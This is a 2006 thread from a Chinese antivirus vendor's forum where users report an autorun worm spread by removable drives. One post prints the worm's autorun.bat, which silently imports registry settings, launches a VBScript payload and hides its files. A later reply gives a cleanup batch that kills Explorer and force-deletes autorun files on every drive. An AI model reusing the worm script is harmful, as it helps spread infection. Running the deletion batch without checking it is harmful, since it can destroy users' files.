微点交流论坛

标题: wscript.exe 里面的东西由一移动硬盘带来微点毫无反应 [打印本页]

作者: feemoo888 时间: 2006-10-27 03:19 标题: wscript.exe 里面的东西由一移动硬盘带来微点毫无反应

发现的

微点没反应 Userinit.exe ---> autorun.bat

autorun.bat --- <text>

@echo off
rem autorun风暴
if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
exit
:open
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
if exist .\autorun.bin type .\autorun.bin >C:\autorun.txt&&exit
if exist %SYSTEMROOT%\system32\autorun.bin type %SYSTEMROOT%\system32\autorun.bin >c:\autorun.txt&&exit
exit
:next2
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
:end

附件 1: Capture-1.jpg (2006-10-27 03:19, 51.6 K,下载次数： 31)

附件 2: Capture222.jpg (2006-10-27 03:20, 127.86 K,下载次数： 50)

作者: feemoo888 时间: 2006-10-27 03:35 标题: 一大堆文件的下载地址

已经发送

所有硬盘分区+system32下都有这些文件

直接双击打开分区会系统崩溃挂了重启嵌入Explorer +

清理到也没什么关键是微点居然毫无反应 :o

[ Last edited by feemoo888 on 2006-10-27 at 03:41 ]

作者: Legend 时间: 2006-10-27 09:31
请问您发的哪个邮箱？我们暂时还没有收到您的邮件，您的邮箱地址是多少？（请用论坛短消息发给我）
您的可以把您的这个文件压缩发到virus@micropoint.com.cn，我们具体测试分析下

[ Last edited by Legend on 2006-10-27 at 17:02 ]

作者: 反黑先锋 时间: 2006-10-27 21:31

Quote:

Originally posted by Legend at 2006-10-27 09:31:
请问您发的哪个邮箱？我们暂时还没有收到您的邮件，您的邮箱地址是多少？（请用论坛短消息发给我）
您的可以把您的这个文件压缩发到virus@micropoint.com.cn，我们具体测试分析下

[ Last edi ...

:cool:请楼主发给官方测试下。

作者: esir 时间: 2006-10-29 23:02 标题: 我也中了这个毒，清理办法如下

中该毒后双击打不开任何分区（C、D、E、……），说找不到autorun.vbs脚本。

解决办法是把以下代码做成批处理，直接运行就行了，这是网上一个高人编的，挺管用。

@echo on
taskkill /im explorer.exe /f
taskkill /im wscript.exe
start reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\EXplorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 1 /f
start reg import kill.reg
del c:\autorun.* /f /q /as
del %SYSTEMROOT%\system32\autorun.* /f /q /as
del d:\autorun.* /f /q /as
del e:\autorun.* /f /q /as
del f:\autorun.* /f /q /as
del g:\autorun.* /f /q /as
del h:\autorun.* /f /q /as
del i:\autorun.* /f /q /as
del j:\autorun.* /f /q /as
del k:\autorun.* /f /q /as
del l:\autorun.* /f /q /as
start explorer.exe

欢迎光临微点交流论坛 (http://bbs.micropoint.com.cn/)

bbs.micropoint.com.cn